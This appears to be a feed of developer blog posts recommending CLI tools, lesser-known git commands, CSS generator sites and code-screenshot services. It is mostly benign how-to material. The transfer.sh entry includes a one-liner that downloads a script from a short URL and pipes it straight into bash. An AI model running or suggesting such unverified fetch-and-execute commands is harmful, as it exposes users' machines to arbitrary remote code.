aria2 - Download Utility (better `wget`)

aria2 is a lightweight, multi-protocol, resuming download utility for HTTP/HTTPS, FTP, SFTP, BitTorrent and Metalink, with support for controlling via an RPC interface. It's incredibly feature rich, and has tons of options. There's also ziahamza/webui-aria2 - a nice web interface companion.

Install

```bash # MacOS (via Homebrew) brew install aria2 # Arch Linux sudo pacman -S aria2 # Debian / Ubuntu sudo apt install aria2 ```

bat - Reading Files (better `cat`)

bat is a clone of cat with syntax highlighting and git integration. Written in Rust, it's very performant, and has several options for customizing output and theming. There's support for automatic piping and file concatenation

Install

```bash # MacOS (via Homebrew) brew install bat # Arch Linux sudo pacman -S bat # Debian / Ubuntu sudo apt install bat ```

diff-so-fancy - File Comparisons (better `diff`)

diff-so-fancy gives you better looking diffs for comparing strings, files, directories and git changes. The change highlighting makes spotting changes much easier, and you can customize the output layout and colors

Install

```bash # MacOS (via Homebrew) brew install diff-so-fancy # Arch Linux sudo pacman -S diff-so-fancy # Debian / Ubuntu sudo apt install diff-so-fancy ```

entr - Watch for changes

entr lets you run an arbitrary command whenever file changes. You can pass a file, directory, symlink or regex to specify which files it should watch. It's really useful for automatically rebuilding projects, reacting to logs, automated testing, etc. Unlike similar projects, it uses kqueue(2) or inotify(7) to avoid polling, and improve performance

Install

```bash # MacOS (via Homebrew) brew install entr # Arch Linux sudo pacman -S entr # Debian / Ubuntu sudo apt install entr ```

exiftool - Reading + writing metadata

ExifTool is handy utility for reading, writing, stripping and creating meta information for a wide variety of file types. Never accidentally leak your location when sharing a photo again!

fdupes - Duplicate file finder

jdupes is used for identifying and/or deleting duplicate files within specified directories. It's useful for freeing up disk space when you've got two or more identical files

fzf - Fuzzy file finder (better `find`)

fzf is an extremely powerful, and easy to use fuzzy file finder and filtering tool. It lets you search for a string or pattern across files. fzf also has plugins available for most shells and IDEs, for showing instant results while searching. This post by Alexey Samoshkin highlights some of it's use cases.

Install

```bash # MacOS (via Homebrew) brew install fzf # Arch Linux sudo pacman -S fzf # Debian / Ubuntu sudo apt install fzf ```

hyperfine - Command benchmarking

hyperfine makes it easy to accurately benchmark and compare arbitrary commands or scripts. It takes care of warm-up runs, clearing the cache for accurate results and preventing interference from other programs. It can also export results as raw data and generate charts.

Install

```bash # MacOS (via Homebrew) brew install hyperfine # Arch Linux sudo pacman -S hyperfine # Debian / Ubuntu sudo apt install hyperfine ```

just - Modern command runner (better `make`)

just is similar to make but with some nice additions. It let's you group your projects commands together into recopies, which can be easily listed and run. Supports aliases, positional arguments, different shells, dot env integration, string interprulation, and pretty much everything else you could need

Install

```bash # MacOS (via Homebrew) brew install just # Arch Linux sudo pacman -S just # Debian / Ubuntu sudo apt install just ```

jq - JSON processor

jq is like sed, but for JSON - you can use it to slice and filter and map and transform structured data with ease. It can be used to write complex queries to extract or manipulate JSON data. There's also a jq playground that you can use to try it out, or formulate queries with live feedback

most - Multi-window scroll pager (better less)

most is a pager, for reading through long files or command outputs. most supports multi-windows and has the option to not wrap text

procs - Process viewer (better ps)

procs is an easy to navigate process viewer, it has colored highlighting, makes sorting and searching for processes easy, has tree view and updates in real-time

rip - Deletion tool (better rm)

rip is a safe, ergonomic and performant deletion tool. It let's you intuitively remove files and directories, and easily restore deleted files

ripgrep - Search within files (better `grep`)

ripgrep is a line-oriented search tool that recursively searches the current directory for a regex pattern. It can ignore the contents of .gitignore and skip binary files. It's able to search within compressed archives, or only search specific extension, and understands files using various encoding methods

rsync - Fast, incremental file transfer

rsync lets you copy large files locally or to or from remote hosts or external drives. It can be used to keep files across multiple locations synced, and is perfect for creating, updating and restoring backups

sd - Find and replace (better `sed`)

sd is an easy, fast and intuitive find and replace tool, based on string literals. It can be executed on a file, an entire directory, or any piped text

tre - Directory hierarchy (better `tree`)

tre outputs a tree stye list of files for your current or a specified directory, with colors. When running with the -e option, it numbers each item, and creates a temporary alias that you can use to quickly jump to that location

xsel - Access the clipboard

xsel let's you read and write to the X Selection clipboard via the command line. It's useful for piping command output to the clipboard, or a copied data into a command

CLI Monitoring and Performance Apps

bandwhich - Bandwidth utilization monitor

Show bandwidth usage, connection information, outgoing hosts and DNS queries in real-time

ctop - Container metrics and monitoring

Like top, but for monitoring resource usage for running (Docker and runC) containers. It shows real-time CPU, memory and network bandwidth as well as the name, status and ID of each container. There's also a built-in log viewer, and options to manage (stop, start, exec, etc) containers

bpytop - Resource monitoring (better `htop`)

bpytop is a fast, interactive, visual resource monitor. It shows top running processes, recent CPU, mem, disk and network history. From the interface you can navigate, sort and search - there's also support for custom color themes

glances - Resource monitor + web and API

glances is another resource monitor, but with a different feature set. It includes a fully responsive web view, a REST API and historical monitoring. It's easily extendable, and can be integrated with other services

gping - Interactive ping tool (better `ping`)

gping can run ping tests on multiple hosts, while showing results in real-time graph. It can also be used to monitor execution time, when used with the --cmd flag

dua-cli - Disk usage analyzer and monitor (better `du`)

dua-cli let's you interactively view used and available disk space for each mounted drive, and makes freeing up storage easy

speedtest-cli - Command line speed test utility

speedtest-cli just runs an internet speed test, via speedtest.net - but straight from the terminal :)

dog - DNS lookup client (better `dig`)

dog is an easy-to-use DNS lookup client, with support for DoT and DoH, nicely coloured outputs and the option to emit JSON

CLI Productivity Apps

Surf the web, play music, check emails, manage calendars, read the news and more, all without leaving the terminal!

browsh - CLI web browser

browsh is a fully interactive, real-time, and modern text-based browser rendered to TTYs and browsers. It supports both mouse and keyboard navigation, and is surprisingly feature rich for a purely terminal based application. It also mitigates battery drain issues that plague modern browsers, and with support for MoSH, you can experience faster load times due to reduced bandwidth

buku - Bookmark manager

buku is a terminal-based bookmark manager, with tons of configuration, storage and usage options. There's also an optional web UI and browser plugin, for accessing your bookmarks outside of the terminal

cmus - Music browser / player

cmus is terminal music player, controlled with keyboard shortcuts. It has support for a wide range of audio formats and codecs, and allows organising tracks into playlists and applying playback settings

cointop - Track crypto prices

cointop show current crypto prices, and track the price history of your portfolio. Supports price alerts, historical charts, currency conversion, fuzzy searching, and much more. You can try the demo via the web at cointop.sh, or by running ssh cointop.sh

ddgr - Search the web from the terminal

ddgr is like googler, but for DuckDuckGo. It's fast, clean and easy, with support for instant answers, search completion, search bangs, and advanced search. It respects your privacy by default, and also has HTTPS proxy support, and works with Tor

khal - Calendar client

khal is a terminal calendar app, which shows upcoming events, month and agenda views. You can sync it with any CalDAV calendar, and add, edit and remove events directly

mutt - Email client

mut is a classic, a terminal based mail client for sending, reading and managing emails. It supports all mainstream email protocols and mailbox formats, allows for attachments, BCC/CC, threads, mailing lists and delivery status notifications

newsboat - RSS / ATOM news reader

newsboat is an RSS feed reader and aggregator, for reading the news, blogs and following updates directly from the terminal

rclone - Manage cloud storage

rclone is a handy utility for syncing files and folders to various cloud storage providers. It can be either invoked directly from the command line, or easily integrated into a script as a replacement for heavy desktop sync apps

taskwarrior - Todo + task management

task is a CLI task management/ todo app. It's both simple and unobtrusive, but also incredibly powerful and scalable, with advanced organisation and query features built in. There's also a lot (700+!) of extra plugins for extending it's functionality and integrating with third-party services

tuir - Terminal UI for Reddit

tuir is a great one if you want to look like you're working, while actually browsing Reddit! It's got intuitive keybindings, custom themes, and can render images and multi-media content too. There's also haxor for hacker news

CLI Dev Suits

httpie - HTTP / API testing testing client

httpie is a HTTP client, for testing, debugging and using APIs. It supports everything you'd expect - HTTPS, proxies, authentication, custom headers, persistent sessions, JSON parsing. Usage is simple with an expressive syntax and colourized output. Like other HTTP clients (Postman, Hopscotch, Insomnia, etc) HTTPie also includes a web UI

lazydocker - Full Docker management app

lazydocker is a Docker management app, that lets you view all containers and images, manage their state, read logs, check resource usage, restart/ rebuild, analyse layers, prune unused containers, images and volumes, and so much more. It saves you from needing remember, type and chain multiple Docker commands.

lazygit - Full Git management app

lazygit is a visual git client, on the command line. Easily add, commit and puch files, resolve conflicts, compare diffs, manage logs, and do complex operations like squashes and rewinds. There's keybindings for everything, colors, and it's easily configurable and extenable

kdash - Kubernetes dashboard app

kdash is an all-in-one Kubernetes management tool. View node metrics, watch resources, stream container logs, analyse contexts and manage nodes, pods and namespaces

gdp-dashboard - Visual GDP debugger

gdp-dashboard adds a visual element to the GNU Debugger, for debugging C and C++ programs. Easily analyse memory, step through breakpoints, and view registers

CLI External Sercvices

ngrok - Reverse proxy for sharing localhost

ngrok safely* exposes your localhost to the internet behind a unique URL. This lets you share what you're working on with you're remote colleagues, in real-time. Usage is very simple, but it's also got a lot of advanced features for things like authentication, webhooks, firewalls, traffic inspection, custom/ wildcard domains and much more

tmate - Share a terminal session via internet

tmate let's you instantly share a live terminal session with someone elsewhere in the world. It works across different systems, supports access control/ auth, can be self-hosted, and has all the features of Tmux

asciinema - Recording + sharing terminal sessions

asciinema is very useful for easily recording, sharing and embedding a terminal session. Great to showcase something you've built, or to show the command-line steps for a tutorial. Unlike screenrecording videos, the user can copy-paste the content, change the theme on the fly and control playback

{% embed https://asciinema.org/a/335480?speed=3 %}

navi - Interactive cheat sheet

navi allows you to browse through cheatsheets and execute commands. Suggested values for arguments are dynamically displayed in a list. Type less, reduce mistakes and save yourself from having to memorise thousands of commands. It integrates with tldr and cheat.sh to get content, but you can also import other cheatsheets, or even write your own

{% embed https://asciinema.org/a/406461?speed=2 %}

transfer.sh - Fast file sharing

transfer makes uploading and sharing files really easy, directly from the command line. It's free, supports encryption, gives you a unique URL, and can also be self-hosted.
I've written a Bash helper function to make usage a bit easier, you can find it here or try it out by running bash <(curl -L -s https://alicia.url.lol/transfer)

surge - Deploy a site in seconds

surge is a free static hosting provider, that you can deploy to directly from the terminal in a single command, just run surge from within your dist directory! It supports custom domains, auto SSL certs, pushState support, cross-origin resource support - and it's free!

wttr.in - Check the weather

wttr.in is a service that displays the weather in a format that's digestible in the command line. Just run curl wttr.in or curl wttr.in/London to try it out. There's URL parameters to customise what data is returned, as well as the format

CLI Fun

cowsay - Have an ASCII cow say your message

cowsay is a configurable talking cow. It's based off the original by Tony Monroe

figlet - Output text as big ASCII art text

figlet outputs text as ASCII art

lolcat - Make console output raibow colored

lolcat makes any text passed to it rainbow coloured

neofetch - Show system data and ditstro info

neofetch prints distro and system info (so you can flex that you use Arch btw on r/unixporn)

As an example, I'm using cowsay, figlet, lolcat and neofetch to create a custom time-based MOTD shown to the user when they first log in. It greets them by their name, shows server info and time, date, weather and IP. Here's the source code.

Installations and Management

Most of us have a core set of CLI apps and utils that we rely upon. Setting up a new machine, and individually installing each program would get tiresome very quickly. So the task of installing and updating your terminal apps is the perfect candidate for automation. Here are some example scripts I've written, which can be easily dropped into your dotfiles or just run independently to ensure you're never missing an app.

For MacOS users, the easiest method is using Homebrew. Just create a Brewfile (with touch ~/.Brewfile), then list each of your apps, and run brew bundle. You can keep your package list backed up, by putting it in a Git repo. Here's an example one, to get you started: https://github.com/Lissy93/Brewfile

On Linux, you usually want to use the native package manager (e.g. pacman, apt). As an example, here's a script to install the above apps on Arch Linux systems

Desktop apps on Linux can be managed in a similar way, via Flatpak. Again, here's an example script :)

Conclusion

... So that's it - a list of handy CLI apps, and a method for installing and keeping them up-to-date across your systems.

Hopefully some of these will be useful to some of you :)

What wasn't included

This list doesn't include the basics, like Vim, Tmux, Ranger, ZSH, Git, etc - which you're likely already using
I've also not included anything too niche, or only specific to a small number of users
Nothing system-specific, or that isn't cross-platform (Linux/ Unix, MacOS) is included
And I've not included apps which relate to the terminal, but are not CLI apps (like terminal emulators)
For most of the projects listed, there's a plethora of alternatives that achieve similar things, for brevity those also weren't included

Credit

Huge kudos to the authors, and communities behind each of these apps. Without them and their hard work, our life in the command line would be much less awesome. Where possible, I've tried to credit the authors, but if I've missed any - let me know below, and I'll push an update

Find More

If you were enjoying this, I recommend also checking out:

terminals-are-sexy by Nikolaos Kamarinakis
awesome-shell by Caleb Xu
awesome-cli-apps by Adam Garrett-Harris

If you're new to the command line, then The Art of Command Line by Joshua Levy is an excellent resource, as is the Bash Guide by Adnan Ahmed.

And if you are looking for inspiration, you'll love r/unixporn ⚡

If you like this kind of stuff, consider following for more :)

20 Git Commands you (probably) didn't know 🧙‍♂️

Alicia's Notes 🚀 — Sat, 17 Dec 2022 20:46:47 +0000

A collection of 20 under-used git command to upgrade your development experience.

If you've ever browsed the git manual (or run man git), then you'll have noticed there's a whole lot more to git than what most of us use on a daily basis. A lot of these commands are incredibly powerful and can make your life a lot easier (others are a bit niche, but still good to know).
This post outlines 20 of my favourite under-used git features, which you can use to level up your development process, impress your colleagues, help you answer git interview questions, and most importantly - have fun with!

Git Web - Open builtin GUI
Git Notes - Attach extra info to commits
Git Bisect - Debug like a pro
Git Grep - Search for anything
Git Archive - Compress project for sharing
Git Submodules - Import other repos into yours
Git Bugreport - Compile bug report with system info
Git Fsck - Verify and recover unreachable objects
Git Stripspace - Remove trailing whitespaces
Git Diff - Compare changes between two files
Git Hooks - Execute script when a git command is run
Git Blame - Show who wrote a given line
Git Large File Storage - Store big files in git
Git Garbage Collection - Optimize your git repo
Git Show - Easily inspect any git object
Git Describe - Give readable name based on last tag
Git Tag - Create version tags at specific points
Git Reflog - List all git actions made on a repo
Git Log - View commit log, and branch diagrams
Git Cherry Pick - Pull a feature or fix into your branch

Git Web

Run git instaweb to instantly browse your working repository in gitweb

Git has a built-in web-based visualiser for browsing local repositories, which lets you view and manage your repo via a GUI in the browser. It's packed with useful features, including:

Browsing and stepping through revisions and inspecting diffs, file contents and metadata
Viewing commit logs, branches, directories, file history, and attached data visually
Generating RSS or Atom feeds of commits and repository activity logs
Searching commits, files, changes and diffs

To open it, just run git instaweb from within your repo. Your browser should pop open, and load http://localhost:1234. If you don't have Lighttpd installed, you can specify an alternative web server with the -d flag. Other options can be configured either via flags (like -p for port, -b for the browser to open, etc), or under the [instaweb] block in your git config.

There's also the git gui command, which can open up a GUI-based git app

Git Notes

Use git notes to add extra info to commits

Sometimes you need to attach additional data to a git commit (beyond just the changes, message, date-time and author info).

The notes are stored within .git/refs/notes, and since that's separate from the commit object data, you can modify the notes associated with a commit at anytime, without the SHA-1 hash changing.

You can view notes with git log, using most git GUI apps, or with the git notes show command. Some git hosts also show notes in the commit view (although GH no longer displays notes).

Git Bisect

With git bisect you can find the commit that introduced a bug using binary search

This is one of the most powerful, yet easy to use git commands- bisect is an absolute life saver when it comes to debugging. After starting a bisect, it checks out commits for you, and you tell it weather that commit is good (no bug), or bad (bug introduced), which lets you narrow down the the earliest commit where the bug is present.

To get started, run git bisect start then pass it a known good commit with git bisect good <commit-hash> and a known bad one (defaults to current) with git bisect bad <optional-hash>. It will then checkout the commit in-between the good and bad commits, then you specify weather the bug is present with either git bisect good or git bisect bad. It will then repeat the process, checking out a commit in the center of the bad and good, all the way until you've found the exact commit that introduced the bug. Cancel anytime with git bisect reset.

There's much more to the bisect command, including replays, viewing commits, skipping, so it's worth checking out the docs next time your debugging.

Git Grep

Use git grep to search for code, files, commits or anything else across your repo

Ever find yourself needing to search for a string anywhere within a git project? With git grep you can easily search for any string, or RegEx throughout your project, and across branches (like a more powerful Ctrl + F!).

git grep <regexp> <ref>

It includes plenty of options to narrow down your search, or specify results format. For example, use -l to only return file names, -c to specify number of matches per file to return, -e to exclude results matching a condition, --and to specify multiple conditions, -n to search with line number.

Since git grep is regex-compatible, you can get much more advanced with the string your searching for.
You can also use it to specify a file extension, like git grep 'console.log' *.js which will show all console.logs from within JavaScript files

The second parameter is a ref, and can be a branch name, commit, range of commits, or anything else. E.g. git grep "foo" HEAD~1 will search the previous commit.

Git Archive

Use git archive to combine an entire repo into a single file

When sharing or backing up a repository, it's often preferred to store it as a single file. Using git archive will include all repo history, so it can be easily extracted back to it's original form. The command also includes a lot of additional options, so you can customise exactly what files are and aren't included in the archive.

git archive --format=tar --output=./my-archive HEAD

Git Submodules

Use git submodule to pull any other repository into yours

In git, submodules let you mount one repo into another, and is commonly used for core dependencies or splitting components into separate repositories. For more info, see this post.

Running the following command will pull a module into the specified location, and also create a .gitmodules file so that it's always downloaded when the repo is cloned. Use the --recursive flag to include sub-modules when cloning the repo.

git submodule add https://github.com/<user>/<repo> <path/to/save/at>

There's also git subtree, which does a similar thing, but without the need for metadata files.

Git Bug Report

Use git bugreport to compose a bug ticket, including git and system info

This command will capture system info, and then open up a standard bug template (steps to reproduce, actual + expected output, etc). The completed file should be a very complete bug report, with all necessary info captured.

This is very handy if your a maintainer for an open source package and asking a user (developer) to raise a bug report, as it ensures all necessary data is included.

And if you are raising a bug report to the core git system, you can also run the git diagnose command, and then raise your issue here.

Git Fsck

Use git fsck to check all objects, or recover unreachable ones

Although not often needed, sometimes you may have to verify the objects stored by git. This is where fsck (or File System ChecK) comes in, it tests the object database and verifies the SHA-1 ID of all objects and the connections they make.

It can also be used alongside the --unreachable flag to find objects that are no longer reachable from any named reference (since unlike other commands, it includes everything in .git/objects).

Git Stripspace

Use git stripspace to format whitespaces within a given file

Best practice is to avoid trailing whitespaces at the end of lines, avoid having multiple consecutive blank lines, avoid empty lines from beginning and end of an input, and end each file with a new line. There's plenty of language-specific tools which do this automatically for you (like prettier), but Git also has this functionality builtin.

It's intended for metadata (commit messages, tags, branch descriptions, etc), but also works if you pipe a file to it, then pipe the response back to a file. E.g. cat ./path-to-file.txt | git stripspace or git stripspace < dirty-file.txt > clean-file.txt

You can also use this to remove comments (with --strip-comments), or even comment out lines (with --comment-lines).

Git Diff

With git diff you can compare the difference between 2 sets of code

You're probably aware that you you can run git diff to show all changes since the last commit, or use git diff <commit-sha> to compare either 2 commits, or 1 commit to the HEAD. But there's much more you can do with the diff command.

You can also use it to compare any two arbitrary files, with diff file-1.txt file-2.txt (no more visiting diffchecker.com!)

Or compare 2 branches, or refs with each other, using git diff branch1..branch2

Note that a double dot (..) is the same as a space and indicates the diff input should be the tip of the branches, but you can also use a triple dot (...) to convert the first parameter into a ref of the shared common ancestor commit between the two diff inputs - very useful! If you want to only compare a single file across branches, just pass the files name in as the third argument.

You may want to see all changes made within a given date range, for this use git diff HEAD@{7.day.ago} HEAD@{0} (for the last week), again this can be paired up with a filename, branch names, specific commits or any other ref.

There's also the git range-diff command, which provides a simple interface for comparing commit ranges.

There's much more to the git diff tool (as well as the option of using your own diff checker), so I recommend checking out the docs.

Git Hooks

Use hooks to execute command or run scripts when a given get action occurs

Hooks let you automate pretty much anything. For example: ensuring standards are met (commit message, branch name, patch size), code quality (tests, lint), appending additional info to a commit (user, device, ticket ID), calling a webhook to record an event or run a pipeline, etc.

There's pre and post hooks available for most git events, like commit, rebase, merge, push, update, applypatch, etc.

Hooks are stored in .git/hooks (unless you configure them elsewhere with git config core.hooksPath), and can be tested with the git hook command. Since they're just shell files, they can be used to run any command.

Hooks aren't pushed to the remote repository, so to share and manage them across your team, you'll need to use a hook manager, like lefthook or husky. There's also several 3rd-party tools, which make managing hooks easier, I recommend overcommit.

Remember, hooks can always be skipped (with the --no-verify flag), so never rely purely on hooks, especially for anything security related.

Git Blame

Use git blame to show author info for a specific revision and line

A classic, quickly find out who wrote a specific line of code (aka which of your co-workers to blame for the bug!). But it's also useful to determine at which point in time something changed and inspect that commit and associated metadata.

For example, to view author and commit info for line 400 to 420 of index.rs, you'd run:

git blame -L 400,420 index.rs

Git LFS

Store large files using git lfs to not bog down your repo

Often your project will contain larger files (such as databases, binary assets, archives or media files), which would slow down the git workflow and max out usage limits. That's where Large File Storage comes in - it enables you to store these large assets elsewhere, while keeping them trackable with git and maintaining the same access controls/ permissions. LFS works by replacing these larger files with text pointers that are tracked within git.

To use it, just run git lfs track <file glob>, which will update your .gitattributes file. You can specify files by their extension (e.g. *.psd), directory, or individually. Running git lfs ls-files to view a list of tracked LFS files.

Git GC

Use git gc to optimize your repository

Over time git repos accumulate various types of garbage, which take up disk space, and slow down actions. That's where the built-in garbage collector comes in. Running git gc will remove orphaned and inaccessible commits (with git prune), compress file revisions and stored git objects, as well as some other general house keeping tasks like packing refs, pruning reflog, revere metadata or stale working trees and updating indexes.

Adding the --aggressive flag will aggressively optimize the repository, throwing away any existing deltas and re-computing them, this takes much longer to run but may be needed if you've got a large repository.

Git Show

Use git show to easily inspect any git object

Outputs objects (blobs, treees, tags or commits) in an easily readable form. To use, just run git show <object>. You'll likely also want to append the --pretty flag, for a clearer output, but there's many other options available to customize the output (with --format), so this command can be extremely powerful for displaying exactly what you need.

An instance that this is very useful for, is previewing a file in another branch, without switching branches. Just run git show branch:file

Git Describe

Use git describe to find the latest tag reachable from a commit, and give it a human-readable name

Run git describe and you'll see a human-readable string made from combining the last tag name, with the current commit, to generate a string. You can also pass a specific tag to it,

Note that you must have created tags for this to work, unless you append the --all flag. Git describe will also only use annotated tags by default, so you must specify the --tags flag to make it use lightweight tags as well.

Git Tag

Tag a specific point in your repo's history using git tag

It's often useful to be able to tag specific, important points in a repository’s history most commonly used to denote versions of releases. Creating a tag is as simple as git tag <tagname>, or you can tag a historical commit with git tag -a v4.2.0 <commit sha>. Like with commits, you can include a message alongside a tag, using -m.

Don't forget to push your tag to remote, with git push origin <tagname>.
To list all tags, just run git tag, and optionally use -l for a wildcard search.
You'll then be able to checkout a specific tag, with git checkout <tagname>

Git Reflog

List all updates made on your repo using git reflog

Git keeps track of updates to the tip of branches using a mechanism called reference logs, or "reflogs". Various events are tracked, including: clone, pull, push, commit, checkout and merge. It's often useful to be able to find an events reference, as many commands accept a ref as a parameter. Just run git reflog to view recent events on HEAD.

One thing that reflog is really useful for is recovering lost commits. Git never really loses anything, even when rewriting history (like rebasing or commit amending). Reflog allows you to go back to commits even though they are not referenced by any branch or tag.

By default reflog uses HEAD (your current branch), but you can run reflog on any ref. For example git reflog show <branch name>, or to see stashed changes with git reflog stash. Or show all references with git reflog show --all

Git Log

Use git log to view a list of commits

You're likely already familiar with running git log to view a list of recent commits on your current branch. But there's a few things more you can do with git log.

Using git log --graph --decorate --oneline will show a nice neat commit graph along with ref pointers.

You also often need to be able to filter logs based on various parameters, the most useful of which are:

git log --search="<anything>" - Search logs for specific code changes
git log --author="<pattern>" - Show log only for specific author(s)
git log --grep="<pattern>" - Filter log using search term or regex
git log <since>..<until> - Show all commits between two references
git log -- <file> - Show all commits made only to a specific file

Or, just run git shortlog for a summerized list of commits.

Git Cherry Pick

Use git cherry-pick to pick specified commit(s) by reference and append them to the working HEAD

Sometimes you need to pull a specific commit from elsewhere, into your current branch. This can be very useful for applying hot fixes, undoing changes, restoring lost commits and in certain team collaboration settings. Note that often traditional merges are better practice, since cherry picking commits can cause duplicate commits in the log.

Usage is straightforward, just run git cherry-pick <commit-hash>. This will pull the specified commit into your current branch.

Git Switch

Use git switch

Moving between branches is something that we do often, the switch command is like a simplified version of git checkout, it can be used to create and navigate between branches, but unlike checkout does not copy modified files when you move between branches.

Similar to checkout -b, with the switch command you can append the -c flag to create a new branch, and jump strait into it, e.g. git switch -c <new branch>. And running git switch - will discard any experimental changes you've made, and return you to your previous branch.

Git Standup

Use git standup to recall what you did on the last working day , based on git commits

I've put this one at the end, as it's not included with most git clients, but you can easily install it either with your systems package manager, using a 1-line curl script, or by building from source.

If your boss requires you do a daily standup, to give updates on yesterdays work, but you can never remember what you actually did - this one is for you! It'll show a nicely formatted list of everything done in a given time frame. Usage is simple, just run git standup, or use these options to specify what data should be shown (author, timeframe, branches, etc.

Bonus

Git can be easily extended with add-ons, to add extra commands that do useful tasks. One of the most complete extensions is git-extras by @tj. It gives you 70+ extra commands to automate common git jobs.

For a list of more useful git add-ons, see stevemao/awesome-git-addons.

If you're working with GitHub repos, then the GitHub CLI let's you do common tasks (managing PRs, issues, code reviews, etc) from the command line.

Super Useful CSS Resources 🌈

Alicia's Notes 🚀 — Sat, 03 Dec 2022 17:25:01 +0000

View on Dev.to:

A collection of 70 hand-picked, web-based tools which are actually useful.
Each will generate pure CSS without the need for JS or any external libraries.

Full credit goes to the authors behind each of these apps (where possible I've linked to their GH/ socials)

Property Generators
Animations
Backgrounds
Color Tools
Typography
Loaders
Layouts
Informative

Property Generators

1. Neumorphism

Generate Soft-UI CSS styles using inset shadows, by @adamgiebl

2. Shaddows Brumm

Make and preview beautifully smooth shadows, by @brumm

3. Fancy Border Radius

Generate cool shaped objects with border-radius, by @9Elements. Similar to BlobMaker

4. Glow Generator

Generate pure CSS, cross-browser glow effects

5. Clothoid Corners

Generates clothoid rounded corners by CSS clip-path, by Takehiko Ono

6. Glassmorphism

Build semi-transparent, blurred glass-like backgrounds. Similar to ui.glass/generator

7. Clipy

Generate complex shaped objects using clip-path, by @bennettfeely

8. CSS Filters

Generate and preview pure CSS Instagram-style photo filters, by @ghosh

9. Base64 Image

Encode an image directly in your CSS in Base64

10. Quantity Queries

Generate quantity-based CSS queries, by @drewminns

Animations

11. Animista

CSS animation playground and generator, by Ana T

12. Cubic-Bezier

Preview and generate advanced cubic bezier animations, by @LeaVerou

13. Keyframes

Advanced keyframe animation maker, by @mitchas

14. Wait Animate

Use animation-delay to simulate delays, by @will-stone

15. Transition.Style

Copy-paste transition animations, by @argyleink

Backgrounds

16. Hero Patterns

Find and customize simple pure-CSS patterned backgrounds, by @steveschoger

17. Haikei

Generate unique organic SVG banners and backgrounds (similar to Shape Divider)

18. Pattern Generator

Advanced pattern generator

19. CSS Pattern

Collection of pre-made pure CSS patterned backgrounds, by @Afif13

20. Patternizer

Build striped backgrounds, by @matthewlein

21. Patternify

Build your own old-school pattern, by @SachaGreif

22. Animated BG

Generate blurred animated pure CSS backgrounds

23. Trianglify

Geometric background designer (note: only semmi-free), by @qrohlf

24. Animated Backgrounds

Collection of pure CSS background animations

25. Magic Pattern CSS Backgrounds

Collection of reusable SVG-based / pure CSS background patterns, with a visual explorer

Colors

26. CSS Gradient

Advanced CSS gradient builder

27. Parametric Mixer

Equaliser-based CSS color composer. by @dawidwoldu

28. Palettte.

Develop and tweak color schemes

29. Paletton

Palette builder using opposing or attracting colors

30. Grabient

Sample gradients.
Similar to CoolHue, WebGradients.com, GradientHunt, GradientButtons and UI gradients

31. Color Hunt

Yet another color palette designer

32. Easing Gradients

Cubic-bezier style pure CSS gradients, by @larsenwork

33. Flat UI Colors

Flat-style handpicked color palettes, by @ahmetsulek

34. Color Tools

Mix, extract, convert and generate colors

35. ColorPalettes.Earth

Natural color pallets from nature

Typography

36. Font Joy

Discover and preview various font pairings, by @Jack000

37. Type set With Me

Typography & legibility sandbox, by @tsmith512

38. Type Scale

Generate heading/ body font sizes, by @jeremychurch

39. Glyphter

Create icon fonts from SVG graphics

40. Font-Library

Tagged library of Google Fonts, by @katydecorah

41. Glitter

Export 90s-style Glitter text

Loaders

42. Spin Kit

Selection of clean CSS loading animations

43. Whirl

100+ CSS loading animations, for copy-paste

44. Loader Generator

Pre-built and custom pure CSS loaders

45. lukehaas - CSS-Loaders

Simple pure CSS loading animations

46. CSSLoaders

Complex pure CSS loaders

47. loading.io/css

CSS implementations of common loaders

Layouts

48. CSS Grid Garden

Interactive game for learning CSS grid, by @thomaspark

49. FlexboxFroggy

Interactive game for learning flexbox, by @thomaspark

50. Flexplorer

Visual flexbox demo, by @bennettfeely

51. Flexulator

An interactive CSS Flexbox space distribution calculator, by @telagraphic

52. Grid Generator

Make grids using the CSS grid-template properties, by @sdras (similar to grid.layoutit.com)

53. Layout Generator

A modern CSS layout maker

54. Box Model Diagram

Just a visual box model demo

Informative

55. CSS Timeline

A history of CSS

56. Screen Size Map

View popular screen sizes for responsive design

57. CSS Ruler

Preview various CSS units relative to each other

58. bada55

List of very funny CSS hex color codes
See also, colors.lol for some overly-descriptive color pallets

59. Who can use?

Checks accessibility grade of a given color combinations, similar to Colorable

60. Can I use?

Browser compatibility check of various, CSS, JS, HTML and web features

61. Can I email?

Similar to Can I use?, but checks if a given CSS property (or HTML elem) is compatible with email clients

62. CSS Processing Tools

Convert to and from any other CSS language

63. Unused CSS

Searches your site for unused CSS, and displays stats

64. Component.Gallery

Global component search

65. Design System Gallery

A collection of open design systems, for inspiration

66. Checklist.design

A collection of design best practices organised as checklists

67. Glyphs

A list of CSS glyph character codes (see also GlyphSearch for library icons)

68. CSS-Tricks.com

The best CSS blog out there

69. Curated Design Tools

A curated list of awesome design tools

70. Awesome-CSS-Frameworks

A list of open source CSS frameworks

71. CSS Reference

A visual guide to CSS properties (similar to htmlreference.io)

72. MDN CSS Docs

Excellent documentation of all available CSS properties

Generate Pretty Code / App Screenshots 📸

Alicia's Notes 🚀 — Sat, 26 Nov 2022 16:13:49 +0000

Spice up your docs, blog posts and Tweets with some pretty screenshots!
The following is a list of 20 free tools, that will generate nicely formatted screenshots of code, device mockups and embedded info.

Code Screenshots

1. Ray.so

Ray.so developed by the team behind Raycast, generates clean and minimal code screenshots.
You can also specify options via GET URL params, so you could programatically generate an image (e.g. using this shell script, or this VS Code extension).

2. CodeImage

CodeImage, built by Riccardo Perra, and available on GitHub at riccardoperra/codeimage, let's you generate customized code screenshots, but also embed live code with support for multiple files.

3. Carbon

Carbon has more advanced styling options. It's open source (view on GitHub) and developed by @mfix22.
You can also directly generate an image from a GitHub Gist, by passing the Gist ID in the URL, for example: https://carbon.now.sh/9da07fe8b877801f7814424a00acbe90

4. Chalk.ist

Chalk.ist is another clean and simple option, it too is open source (view on GitHub) developed by @Idered.

5. Snappify

Snappify is a snippet manager, but also includes a nice tool for generating screenshots. Login isn't required, but some extra features do need a user account. There's also a VS Code plugin, and the option to embed code into blog posts

6. CodeKeep

CodeKeep is another snippet manager, but what makes their screenshot tool unique is the many options for customization. You can add text, annotations, icons and include multiple snippets in a single screenshot

7. CodeImg.io

CodeImg.io is great for social media posts, with a series of templates optimized for various websites. There are a range of themes to choose from, support for SVG exports, and many customization options. Developed by @iduspara, but not open source.

8. SnippetShot.com

SnippetShot.com is great for clean and simple code snippets. A variety pf backgrounds, themes and fonts, and the ability to add an attribution link, as well as Gist import, unique links and SVG export. It's developed by Marco Slooten, and is not open source

VS Code Extensions

